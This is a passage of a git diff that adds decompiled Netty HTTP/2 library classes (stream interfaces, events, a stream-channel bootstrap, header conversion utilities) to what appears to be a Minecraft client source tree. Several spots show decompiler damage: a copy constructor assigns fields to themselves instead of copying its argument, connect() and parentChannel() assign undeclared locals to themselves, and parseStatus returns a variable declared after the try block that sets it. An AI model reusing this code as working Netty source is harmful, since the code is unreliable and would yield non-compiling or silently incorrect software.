+public abstract interface Http2Stream
+{
+  public abstract int id();
+  
+
+  public abstract State state();
+  
+
+  public abstract Http2Stream open(boolean paramBoolean)
+    throws Http2Exception;
+  
+
+  public abstract Http2Stream close();
+  
+  public abstract Http2Stream closeLocalSide();
+  
+  public abstract Http2Stream closeRemoteSide();
+  
+  public abstract boolean isResetSent();
+  
+  public abstract Http2Stream resetSent();
+  
+  public abstract <V> V setProperty(Http2Connection.PropertyKey paramPropertyKey, V paramV);
+  
+  public static enum State
+  {
+    IDLE(false, false), 
+    RESERVED_LOCAL(false, false), 
+    RESERVED_REMOTE(false, false), 
+    OPEN(true, true), 
+    HALF_CLOSED_LOCAL(false, true), 
+    HALF_CLOSED_REMOTE(true, false), 
+    CLOSED(false, false);
+    
+    private final boolean localSideOpen;
+    private final boolean remoteSideOpen;
+    
+    private State(boolean localSideOpen, boolean remoteSideOpen) {
+      this.localSideOpen = localSideOpen;
+      this.remoteSideOpen = remoteSideOpen;
+    }
+    
+
+
+
+    public boolean localSideOpen()
+    {
+      return localSideOpen;
+    }
+    
+
+
+
+    public boolean remoteSideOpen()
+    {
+      return remoteSideOpen;
+    }
+  }
+  
+  public abstract <V> V getProperty(Http2Connection.PropertyKey paramPropertyKey);
+  
+  public abstract <V> V removeProperty(Http2Connection.PropertyKey paramPropertyKey);
+  
+  public abstract Http2Stream setPriority(int paramInt, short paramShort, boolean paramBoolean)
+    throws Http2Exception;
+  
+  public abstract boolean isRoot();
+  
+  public abstract boolean isLeaf();
+  
+  public abstract short weight();
+  
+  public abstract Http2Stream parent();
+  
+  public abstract boolean isDescendantOf(Http2Stream paramHttp2Stream);
+  
+  public abstract int numChildren();
+  
+  public abstract Http2Stream forEachChild(Http2StreamVisitor paramHttp2StreamVisitor)
+    throws Http2Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2StreamActiveEvent.java b/src/minecraft/io/netty/handler/codec/http2/Http2StreamActiveEvent.java
new file mode 100644
index 0000000..13dcbd7
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2StreamActiveEvent.java
@@ -0,0 +1,45 @@
+package io.netty.handler.codec.http2;
+
+
+
+
+
+
+
+
+
+
+
+public class Http2StreamActiveEvent
+  extends AbstractHttp2StreamStateEvent
+{
+  private final Http2HeadersFrame headers;
+  
+
+
+
+
+
+
+
+
+
+
+  public Http2StreamActiveEvent(int streamId)
+  {
+    this(streamId, null);
+  }
+  
+  public Http2StreamActiveEvent(int streamId, Http2HeadersFrame headers) {
+    super(streamId);
+    this.headers = headers;
+  }
+  
+
+
+
+  public Http2HeadersFrame headers()
+  {
+    return headers;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2StreamChannelBootstrap.java b/src/minecraft/io/netty/handler/codec/http2/Http2StreamChannelBootstrap.java
new file mode 100644
index 0000000..4204206
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2StreamChannelBootstrap.java
@@ -0,0 +1,225 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelPipeline;
+import io.netty.channel.EventLoopGroup;
+import io.netty.util.AttributeKey;
+import io.netty.util.internal.ObjectUtil;
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2StreamChannelBootstrap
+{
+  private volatile ParentChannelAndMultiplexCodec channelAndCodec;
+  private volatile ChannelHandler handler;
+  private volatile EventLoopGroup group;
+  private final Map<ChannelOption<?>, Object> options;
+  private final Map<AttributeKey<?>, Object> attributes;
+  
+  public Http2StreamChannelBootstrap()
+  {
+    options = Collections.synchronizedMap(new LinkedHashMap());
+    attributes = Collections.synchronizedMap(new LinkedHashMap());
+  }
+  
+  Http2StreamChannelBootstrap(Http2StreamChannelBootstrap bootstrap0)
+  {
+    ObjectUtil.checkNotNull(bootstrap0, "bootstrap must not be null");
+    channelAndCodec = channelAndCodec;
+    handler = handler;
+    group = group;
+    options = Collections.synchronizedMap(new LinkedHashMap(options));
+    attributes = Collections.synchronizedMap(new LinkedHashMap(attributes));
+  }
+  
+
+
+  public ChannelFuture connect()
+  {
+    return connect(-1);
+  }
+  
+
+
+  ChannelFuture connect(int streamId)
+  {
+    validateState();
+    
+    ParentChannelAndMultiplexCodec channelAndCodec0 = channelAndCodec;
+    Channel parentChannel = parentChannel;
+    Http2MultiplexCodec multiplexCodec = multiplexCodec;
+    
+    EventLoopGroup group0 = group;
+    group0 = group0 == null ? parentChannel.eventLoop() : group0;
+    
+    return multiplexCodec.createStreamChannel(parentChannel, group0, handler, options, attributes, streamId);
+  }
+  
+
+
+
+
+
+
+  public Http2StreamChannelBootstrap parentChannel(Channel parent)
+  {
+    channelAndCodec = new ParentChannelAndMultiplexCodec(parent);
+    return this;
+  }
+  
+
+
+
+
+
+
+  public Http2StreamChannelBootstrap handler(ChannelHandler handler)
+  {
+    this.handler = checkSharable((ChannelHandler)ObjectUtil.checkNotNull(handler, "handler"));
+    return this;
+  }
+  
+
+
+
+
+
+  public Http2StreamChannelBootstrap group(EventLoopGroup group)
+  {
+    this.group = group;
+    return this;
+  }
+  
+
+
+
+  public <T> Http2StreamChannelBootstrap option(ChannelOption<T> option, T value)
+  {
+    ObjectUtil.checkNotNull(option, "option must not be null");
+    if (value == null) {
+      options.remove(option);
+    } else {
+      options.put(option, value);
+    }
+    return this;
+  }
+  
+
+
+
+  public <T> Http2StreamChannelBootstrap attr(AttributeKey<T> key, T value)
+  {
+    ObjectUtil.checkNotNull(key, "key must not be null");
+    if (value == null) {
+      attributes.remove(key);
+    } else {
+      attributes.put(key, value);
+    }
+    return this;
+  }
+  
+  public Channel parentChannel() {
+    ParentChannelAndMultiplexCodec channelAndCodec0 = channelAndCodec;
+    if (channelAndCodec0 != null) {
+      return parentChannel;
+    }
+    return null;
+  }
+  
+  public ChannelHandler handler() {
+    return handler;
+  }
+  
+  public EventLoopGroup group() {
+    return group;
+  }
+  
+  public Map<ChannelOption<?>, Object> options() {
+    return Collections.unmodifiableMap(new LinkedHashMap(options));
+  }
+  
+  public Map<AttributeKey<?>, Object> attributes() {
+    return Collections.unmodifiableMap(new LinkedHashMap(attributes));
+  }
+  
+  private void validateState() {
+    ObjectUtil.checkNotNull(handler, "handler must be set");
+    ObjectUtil.checkNotNull(channelAndCodec, "parent channel must be set");
+  }
+  
+  private static ChannelHandler checkSharable(ChannelHandler handler) {
+    if (!handler.getClass().isAnnotationPresent(ChannelHandler.Sharable.class)) {
+      throw new IllegalArgumentException("The handler must be Sharable");
+    }
+    return handler;
+  }
+  
+  private static class ParentChannelAndMultiplexCodec {
+    final Channel parentChannel;
+    final Http2MultiplexCodec multiplexCodec;
+    
+    ParentChannelAndMultiplexCodec(Channel parentChannel) {
+      this.parentChannel = checkRegistered((Channel)ObjectUtil.checkNotNull(parentChannel, "parentChannel"));
+      multiplexCodec = requireMultiplexCodec(parentChannel.pipeline());
+    }
+    
+    private static Http2MultiplexCodec requireMultiplexCodec(ChannelPipeline pipeline) {
+      ChannelHandlerContext ctx = pipeline.context(Http2MultiplexCodec.class);
+      if (ctx == null) {
+        throw new IllegalArgumentException(Http2MultiplexCodec.class.getSimpleName() + " was not found in the channel pipeline.");
+      }
+      
+      return (Http2MultiplexCodec)ctx.handler();
+    }
+    
+    private static Channel checkRegistered(Channel channel) {
+      if (!channel.isRegistered()) {
+        throw new IllegalArgumentException("The channel must be registered to an eventloop.");
+      }
+      return channel;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2StreamClosedEvent.java b/src/minecraft/io/netty/handler/codec/http2/Http2StreamClosedEvent.java
new file mode 100644
index 0000000..a49bcb8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2StreamClosedEvent.java
@@ -0,0 +1,25 @@
+package io.netty.handler.codec.http2;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2StreamClosedEvent
+  extends AbstractHttp2StreamStateEvent
+{
+  public Http2StreamClosedEvent(int streamId)
+  {
+    super(streamId);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2StreamFrame.java b/src/minecraft/io/netty/handler/codec/http2/Http2StreamFrame.java
new file mode 100644
index 0000000..b40fc5d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2StreamFrame.java
@@ -0,0 +1,9 @@
+package io.netty.handler.codec.http2;
+
+public abstract interface Http2StreamFrame
+  extends Http2Frame
+{
+  public abstract Http2StreamFrame streamId(int paramInt);
+  
+  public abstract int streamId();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2StreamStateEvent.java b/src/minecraft/io/netty/handler/codec/http2/Http2StreamStateEvent.java
new file mode 100644
index 0000000..0bf3cb3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2StreamStateEvent.java
@@ -0,0 +1,6 @@
+package io.netty.handler.codec.http2;
+
+public abstract interface Http2StreamStateEvent
+{
+  public abstract int streamId();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2StreamVisitor.java b/src/minecraft/io/netty/handler/codec/http2/Http2StreamVisitor.java
new file mode 100644
index 0000000..9d9b48b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2StreamVisitor.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.http2;
+
+public abstract interface Http2StreamVisitor
+{
+  public abstract boolean visit(Http2Stream paramHttp2Stream)
+    throws Http2Exception;
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2WindowUpdateFrame.java b/src/minecraft/io/netty/handler/codec/http2/Http2WindowUpdateFrame.java
new file mode 100644
index 0000000..5553536
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2WindowUpdateFrame.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.http2;
+
+public abstract interface Http2WindowUpdateFrame
+  extends Http2StreamFrame
+{
+  public abstract int windowSizeIncrement();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/HttpConversionUtil.java b/src/minecraft/io/netty/handler/codec/http2/HttpConversionUtil.java
new file mode 100644
index 0000000..765b6d4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/HttpConversionUtil.java
@@ -0,0 +1,551 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.handler.codec.http.DefaultFullHttpRequest;
+import io.netty.handler.codec.http.DefaultFullHttpResponse;
+import io.netty.handler.codec.http.DefaultHttpRequest;
+import io.netty.handler.codec.http.FullHttpMessage;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpHeaderValues;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMessage;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpResponse;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpScheme;
+import io.netty.handler.codec.http.HttpUtil;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.util.AsciiString;
+import io.netty.util.ByteProcessor;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.StringUtil;
+import java.net.URI;
+import java.util.Iterator;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class HttpConversionUtil
+{
+  private static final CharSequenceMap<AsciiString> HTTP_TO_HTTP2_HEADER_BLACKLIST = new CharSequenceMap();
+  
+  static {
+    HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HttpHeaderNames.CONNECTION, AsciiString.EMPTY_STRING);
+    
+    AsciiString keepAlive = HttpHeaderNames.KEEP_ALIVE;
+    HTTP_TO_HTTP2_HEADER_BLACKLIST.add(keepAlive, AsciiString.EMPTY_STRING);
+    
+    AsciiString proxyConnection = HttpHeaderNames.PROXY_CONNECTION;
+    HTTP_TO_HTTP2_HEADER_BLACKLIST.add(proxyConnection, AsciiString.EMPTY_STRING);
+    HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HttpHeaderNames.TRANSFER_ENCODING, AsciiString.EMPTY_STRING);
+    HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HttpHeaderNames.HOST, AsciiString.EMPTY_STRING);
+    HTTP_TO_HTTP2_HEADER_BLACKLIST.add(HttpHeaderNames.UPGRADE, AsciiString.EMPTY_STRING);
+    HTTP_TO_HTTP2_HEADER_BLACKLIST.add(ExtensionHeaderNames.STREAM_ID.text(), AsciiString.EMPTY_STRING);
+    HTTP_TO_HTTP2_HEADER_BLACKLIST.add(ExtensionHeaderNames.SCHEME.text(), AsciiString.EMPTY_STRING);
+    HTTP_TO_HTTP2_HEADER_BLACKLIST.add(ExtensionHeaderNames.PATH.text(), AsciiString.EMPTY_STRING);
+  }
+  
+
+
+
+
+  public static final HttpMethod OUT_OF_MESSAGE_SEQUENCE_METHOD = HttpMethod.OPTIONS;
+  
+
+
+
+
+  public static final String OUT_OF_MESSAGE_SEQUENCE_PATH = "";
+  
+
+
+
+
+  public static final HttpResponseStatus OUT_OF_MESSAGE_SEQUENCE_RETURN_CODE = HttpResponseStatus.OK;
+  
+
+
+
+
+  private static final AsciiString EMPTY_REQUEST_PATH = new AsciiString("/");
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static enum ExtensionHeaderNames
+  {
+    STREAM_ID("x-http2-stream-id"), 
+    
+
+
+
+
+
+    SCHEME("x-http2-scheme"), 
+    
+
+
+
+
+
+    PATH("x-http2-path"), 
+    
+
+
+
+
+
+    STREAM_PROMISE_ID("x-http2-stream-promise-id"), 
+    
+
+
+
+
+
+    STREAM_DEPENDENCY_ID("x-http2-stream-dependency-id"), 
+    
+
+
+
+
+
+    STREAM_WEIGHT("x-http2-stream-weight");
+    
+    private final AsciiString text;
+    
+    private ExtensionHeaderNames(String text) {
+      this.text = new AsciiString(text);
+    }
+    
+    public AsciiString text() {
+      return text;
+    }
+  }
+  
+
+
+
+
+
+  public static HttpResponseStatus parseStatus(CharSequence status)
+    throws Http2Exception
+  {
+    try
+    {
+      HttpResponseStatus result = HttpResponseStatus.parseLine(status);
+      if (result == HttpResponseStatus.SWITCHING_PROTOCOLS) {
+        throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, "Invalid HTTP/2 status code '%d'", new Object[] { Integer.valueOf(result.code()) });
+      }
+    } catch (Http2Exception e) {
+      throw e;
+    } catch (Throwable t) {
+      throw Http2Exception.connectionError(Http2Error.PROTOCOL_ERROR, t, "Unrecognized HTTP status code '%s' encountered in translation to HTTP/1.x", new Object[] { status });
+    }
+    HttpResponseStatus result;
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static FullHttpResponse toHttpResponse(int streamId, Http2Headers http2Headers, ByteBufAllocator alloc, boolean validateHttpHeaders)
+    throws Http2Exception
+  {
+    HttpResponseStatus status = parseStatus(http2Headers.status());
+    
+
+    FullHttpResponse msg = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, alloc.buffer(), validateHttpHeaders);
+    try
+    {
+      addHttp2ToHttpHeaders(streamId, http2Headers, msg, false);
+    } catch (Http2Exception e) {
+      msg.release();
+      throw e;
+    } catch (Throwable t) {
+      msg.release();
+      throw Http2Exception.streamError(streamId, Http2Error.PROTOCOL_ERROR, t, "HTTP/2 to HTTP/1.x headers conversion error", new Object[0]);
+    }
+    return msg;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static FullHttpRequest toFullHttpRequest(int streamId, Http2Headers http2Headers, ByteBufAllocator alloc, boolean validateHttpHeaders)
+    throws Http2Exception
+  {
+    CharSequence method = (CharSequence)ObjectUtil.checkNotNull(http2Headers.method(), "method header cannot be null in conversion to HTTP/1.x");
+    
+    CharSequence path = (CharSequence)ObjectUtil.checkNotNull(http2Headers.path(), "path header cannot be null in conversion to HTTP/1.x");
+    
+    FullHttpRequest msg = new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.valueOf(method.toString()), path.toString(), alloc.buffer(), validateHttpHeaders);
+    try
+    {
+      addHttp2ToHttpHeaders(streamId, http2Headers, msg, false);
+    } catch (Http2Exception e) {
+      msg.release();
+      throw e;
+    } catch (Throwable t) {
+      msg.release();
+      throw Http2Exception.streamError(streamId, Http2Error.PROTOCOL_ERROR, t, "HTTP/2 to HTTP/1.x headers conversion error", new Object[0]);
+    }
+    return msg;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static HttpRequest toHttpRequest(int streamId, Http2Headers http2Headers, boolean validateHttpHeaders)
+    throws Http2Exception
+  {
+    CharSequence method = (CharSequence)ObjectUtil.checkNotNull(http2Headers.method(), "method header cannot be null in conversion to HTTP/1.x");
+    
+    CharSequence path = (CharSequence)ObjectUtil.checkNotNull(http2Headers.path(), "path header cannot be null in conversion to HTTP/1.x");
+    
+    HttpRequest msg = new DefaultHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.valueOf(method.toString()), path.toString(), validateHttpHeaders);
+    try
+    {
+      addHttp2ToHttpHeaders(streamId, http2Headers, msg.headers(), msg.protocolVersion(), false, true);
+    } catch (Http2Exception e) {
+      throw e;
+    } catch (Throwable t) {
+      throw Http2Exception.streamError(streamId, Http2Error.PROTOCOL_ERROR, t, "HTTP/2 to HTTP/1.x headers conversion error", new Object[0]);
+    }
+    return msg;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static void addHttp2ToHttpHeaders(int streamId, Http2Headers sourceHeaders, FullHttpMessage destinationMessage, boolean addToTrailer)
+    throws Http2Exception
+  {
+    addHttp2ToHttpHeaders(streamId, sourceHeaders, addToTrailer ? destinationMessage.trailingHeaders() : destinationMessage.headers(), destinationMessage.protocolVersion(), addToTrailer, destinationMessage instanceof HttpRequest);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void addHttp2ToHttpHeaders(int streamId, Http2Headers inputHeaders, HttpHeaders outputHeaders, HttpVersion httpVersion, boolean isTrailer, boolean isRequest)
+    throws Http2Exception
+  {
+    Http2ToHttpHeaderTranslator translator = new Http2ToHttpHeaderTranslator(streamId, outputHeaders, isRequest);
+    try {
+      for (Map.Entry<CharSequence, CharSequence> entry : inputHeaders) {
+        translator.translate(entry);
+      }
+    } catch (Http2Exception ex) {
+      throw ex;
+    } catch (Throwable t) {
+      throw Http2Exception.streamError(streamId, Http2Error.PROTOCOL_ERROR, t, "HTTP/2 to HTTP/1.x headers conversion error", new Object[0]);
+    }
+    
+    outputHeaders.remove(HttpHeaderNames.TRANSFER_ENCODING);
+    outputHeaders.remove(HttpHeaderNames.TRAILER);
+    if (!isTrailer) {
+      outputHeaders.setInt(ExtensionHeaderNames.STREAM_ID.text(), streamId);
+      HttpUtil.setKeepAlive(outputHeaders, httpVersion, true);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static Http2Headers toHttp2Headers(HttpMessage in, boolean validateHeaders)
+  {
+    HttpHeaders inHeaders = in.headers();
+    Http2Headers out = new DefaultHttp2Headers(validateHeaders, inHeaders.size());
+    if ((in instanceof HttpRequest)) {
+      HttpRequest request = (HttpRequest)in;
+      URI requestTargetUri = URI.create(request.uri());
+      out.path(toHttp2Path(requestTargetUri));
+      out.method(request.method().asciiName());
+      setHttp2Scheme(inHeaders, requestTargetUri, out);
+      
+      if ((!HttpUtil.isOriginForm(requestTargetUri)) && (!HttpUtil.isAsteriskForm(requestTargetUri)))
+      {
+        String host = inHeaders.getAsString(HttpHeaderNames.HOST);
+        setHttp2Authority((host == null) || (host.isEmpty()) ? requestTargetUri.getAuthority() : host, out);
+      }
+    } else if ((in instanceof HttpResponse)) {
+      HttpResponse response = (HttpResponse)in;
+      out.status(new AsciiString(Integer.toString(response.status().code())));
+    }
+    
+
+    toHttp2Headers(inHeaders, out);
+    return out;
+  }
+  
+  public static Http2Headers toHttp2Headers(HttpHeaders inHeaders, boolean validateHeaders) {
+    if (inHeaders.isEmpty()) {
+      return EmptyHttp2Headers.INSTANCE;
+    }
+    
+    Http2Headers out = new DefaultHttp2Headers(validateHeaders, inHeaders.size());
+    toHttp2Headers(inHeaders, out);
+    return out;
+  }
+  
+  public static void toHttp2Headers(HttpHeaders inHeaders, Http2Headers out) {
+    Iterator<Map.Entry<CharSequence, CharSequence>> iter = inHeaders.iteratorCharSequence();
+    while (iter.hasNext()) {
+      Map.Entry<CharSequence, CharSequence> entry = (Map.Entry)iter.next();
+      AsciiString aName = AsciiString.of((CharSequence)entry.getKey()).toLowerCase();
+      if (!HTTP_TO_HTTP2_HEADER_BLACKLIST.contains(aName))
+      {
+        if ((aName.contentEqualsIgnoreCase(HttpHeaderNames.TE)) && (!AsciiString.contentEqualsIgnoreCase((CharSequence)entry.getValue(), HttpHeaderValues.TRAILERS)))
+        {
+          throw new IllegalArgumentException("Invalid value for " + HttpHeaderNames.TE + ": " + entry.getValue());
+        }
+        
+        if (aName.contentEqualsIgnoreCase(HttpHeaderNames.COOKIE)) {
+          AsciiString value = AsciiString.of((CharSequence)entry.getValue());
+          
+          try
+          {
+            int index = value.forEachByte(ByteProcessor.FIND_SEMI_COLON);
+            if (index != -1) {
+              int start = 0;
+              do {
+                out.add(HttpHeaderNames.COOKIE, value.subSequence(start, index, false));
+                
+                start = index + 2;
+              } while ((start < value.length()) && ((index = value.forEachByte(start, value.length() - start, ByteProcessor.FIND_SEMI_COLON)) != -1));
+              
+              if (start >= value.length()) {
+                throw new IllegalArgumentException("cookie value is of unexpected format: " + value);
+              }
+              out.add(HttpHeaderNames.COOKIE, value.subSequence(start, value.length(), false));
+            } else {
+              out.add(HttpHeaderNames.COOKIE, value);
+            }
+          }
+          catch (Exception e)
+          {
+            throw new IllegalStateException(e);
+          }
+        } else {
+          out.add(aName, entry.getValue());
+        }
+      }
+    }
+  }
+  
+
+
+
+  private static AsciiString toHttp2Path(URI uri)
+  {
+    StringBuilder pathBuilder = new StringBuilder(StringUtil.length(uri.getRawPath()) + StringUtil.length(uri.getRawQuery()) + StringUtil.length(uri.getRawFragment()) + 2);
+    
+    if (!StringUtil.isNullOrEmpty(uri.getRawPath())) {
+      pathBuilder.append(uri.getRawPath());
+    }
+    if (!StringUtil.isNullOrEmpty(uri.getRawQuery())) {
+      pathBuilder.append('?');
+      pathBuilder.append(uri.getRawQuery());
+    }
+    if (!StringUtil.isNullOrEmpty(uri.getRawFragment())) {
+      pathBuilder.append('#');
+      pathBuilder.append(uri.getRawFragment());
+    }
+    String path = pathBuilder.toString();
+    return path.isEmpty() ? EMPTY_REQUEST_PATH : new AsciiString(path);
+  }
+  
+  private static void setHttp2Authority(String autority, Http2Headers out)
+  {
+    if (autority != null) {
+      int endOfUserInfo = autority.indexOf('@');
+      if (endOfUserInfo < 0) {
+        out.authority(new AsciiString(autority));
+      } else if (endOfUserInfo + 1 < autority.length()) {
+        out.authority(new AsciiString(autority.substring(endOfUserInfo + 1)));
+      } else {
+        throw new IllegalArgumentException("autority: " + autority);
+      }
+    }
+  }
+  
+  private static void setHttp2Scheme(HttpHeaders in, URI uri, Http2Headers out) {
+    String value = uri.getScheme();
+    if (value != null) {
+      out.scheme(new AsciiString(value));
+      return;
+    }
+    
+
+    CharSequence cValue = in.get(ExtensionHeaderNames.SCHEME.text());
+    if (cValue != null) {
+      out.scheme(AsciiString.of(cValue));
+      return;
+    }
+    
+    if (uri.getPort() == HttpScheme.HTTPS.port()) {
+      out.scheme(HttpScheme.HTTPS.name());
+    } else if (uri.getPort() == HttpScheme.HTTP.port()) {
+      out.scheme(HttpScheme.HTTP.name());
+    } else {
+      throw new IllegalArgumentException(":scheme must be specified. see https://tools.ietf.org/html/rfc7540#section-8.1.2.3");
+    }
+  }
+  
+
+
+
+  private HttpConversionUtil() {}
+  
+
+
+  private static final class Http2ToHttpHeaderTranslator
+  {
+    private static final CharSequenceMap<AsciiString> REQUEST_HEADER_TRANSLATIONS = new CharSequenceMap();
+    
+    private static final CharSequenceMap<AsciiString> RESPONSE_HEADER_TRANSLATIONS = new CharSequenceMap();
+    
+    static { RESPONSE_HEADER_TRANSLATIONS.add(Http2Headers.PseudoHeaderName.AUTHORITY.value(), HttpHeaderNames.HOST);
+      
+      RESPONSE_HEADER_TRANSLATIONS.add(Http2Headers.PseudoHeaderName.SCHEME.value(), HttpConversionUtil.ExtensionHeaderNames.SCHEME.text());
+      
+      REQUEST_HEADER_TRANSLATIONS.add(RESPONSE_HEADER_TRANSLATIONS);
+      RESPONSE_HEADER_TRANSLATIONS.add(Http2Headers.PseudoHeaderName.PATH.value(), HttpConversionUtil.ExtensionHeaderNames.PATH.text());
+    }
+    
+
+
+    private final int streamId;
+    
+
+    private final HttpHeaders output;
+    
+
+    private final CharSequenceMap<AsciiString> translations;
+    
+
+    Http2ToHttpHeaderTranslator(int streamId, HttpHeaders output, boolean request)
+    {
+      this.streamId = streamId;
+      this.output = output;
+      translations = (request ? REQUEST_HEADER_TRANSLATIONS : RESPONSE_HEADER_TRANSLATIONS);
+    }
+    
+    public void translate(Map.Entry<CharSequence, CharSequence> entry) throws Http2Exception {
+      CharSequence name = (CharSequence)entry.getKey();
+      CharSequence value = (CharSequence)entry.getValue();
+      AsciiString translatedName = (AsciiString)translations.get(name);
+      if (translatedName != null) {
+        output.add(translatedName, AsciiString.of(value));
+      } else if (!Http2Headers.PseudoHeaderName.isPseudoHeader(name))
+      {
+
+        if ((name.length() == 0) || (name.charAt(0) == ':')) {
+          throw Http2Exception.streamError(streamId, Http2Error.PROTOCOL_ERROR, "Invalid HTTP/2 header '%s' encountered in translation to HTTP/1.x", new Object[] { name });
+        }
+        
+        if (HttpHeaderNames.COOKIE.equals(name))
+        {
+
+          String existingCookie = output.get(HttpHeaderNames.COOKIE);
+          output.set(HttpHeaderNames.COOKIE, existingCookie != null ? existingCookie + "; " + value : value);
+        }
+        else {
+          output.add(name, value);
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/HttpToHttp2ConnectionHandler.java b/src/minecraft/io/netty/handler/codec/http2/HttpToHttp2ConnectionHandler.java
new file mode 100644
index 0000000..4c1cb07
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/HttpToHttp2ConnectionHandler.java
@@ -0,0 +1,133 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.handler.codec.http.EmptyHttpHeaders;
+import io.netty.handler.codec.http.FullHttpMessage;
+import io.netty.handler.codec.http.HttpContent;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMessage;
+import io.netty.handler.codec.http.LastHttpContent;
+import io.netty.util.ReferenceCountUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpToHttp2ConnectionHandler
+  extends Http2ConnectionHandler
+{
+  private final boolean validateHeaders;
+  private int currentStreamId;
+  
+  protected HttpToHttp2ConnectionHandler(Http2ConnectionDecoder decoder, Http2ConnectionEncoder encoder, Http2Settings initialSettings, boolean validateHeaders)
+  {
+    super(decoder, encoder, initialSettings);
+    this.validateHeaders = validateHeaders;
+  }
+  
+
+
+
+
+
+  private int getStreamId(HttpHeaders httpHeaders)
+    throws Exception
+  {
+    return httpHeaders.getInt(HttpConversionUtil.ExtensionHeaderNames.STREAM_ID.text(), connection().local().incrementAndGetNextStreamId());
+  }
+  
+
+
+
+
+
+  public void write(ChannelHandlerContext ctx, Object msg, ChannelPromise promise)
+  {
+    if ((!(msg instanceof HttpMessage)) && (!(msg instanceof HttpContent))) {
+      ctx.write(msg, promise);
+      return;
+    }
+    
+    boolean release = true;
+    Http2CodecUtil.SimpleChannelPromiseAggregator promiseAggregator = new Http2CodecUtil.SimpleChannelPromiseAggregator(promise, ctx.channel(), ctx.executor());
+    try
+    {
+      Http2ConnectionEncoder encoder = encoder();
+      boolean endStream = false;
+      if ((msg instanceof HttpMessage)) {
+        HttpMessage httpMsg = (HttpMessage)msg;
+        
+
+        currentStreamId = getStreamId(httpMsg.headers());
+        
+
+        Http2Headers http2Headers = HttpConversionUtil.toHttp2Headers(httpMsg, validateHeaders);
+        endStream = ((msg instanceof FullHttpMessage)) && (!((FullHttpMessage)msg).content().isReadable());
+        writeHeaders(ctx, encoder, currentStreamId, httpMsg.headers(), http2Headers, endStream, promiseAggregator);
+      }
+      
+
+      if ((!endStream) && ((msg instanceof HttpContent))) {
+        boolean isLastContent = false;
+        HttpHeaders trailers = EmptyHttpHeaders.INSTANCE;
+        Http2Headers http2Trailers = EmptyHttp2Headers.INSTANCE;
+        if ((msg instanceof LastHttpContent)) {
+          isLastContent = true;
+          
+
+          LastHttpContent lastContent = (LastHttpContent)msg;
+          trailers = lastContent.trailingHeaders();
+          http2Trailers = HttpConversionUtil.toHttp2Headers(trailers, validateHeaders);
+        }
+        
+
+        ByteBuf content = ((HttpContent)msg).content();
+        endStream = (isLastContent) && (trailers.isEmpty());
+        release = false;
+        encoder.writeData(ctx, currentStreamId, content, 0, endStream, promiseAggregator.newPromise());
+        
+        if (!trailers.isEmpty())
+        {
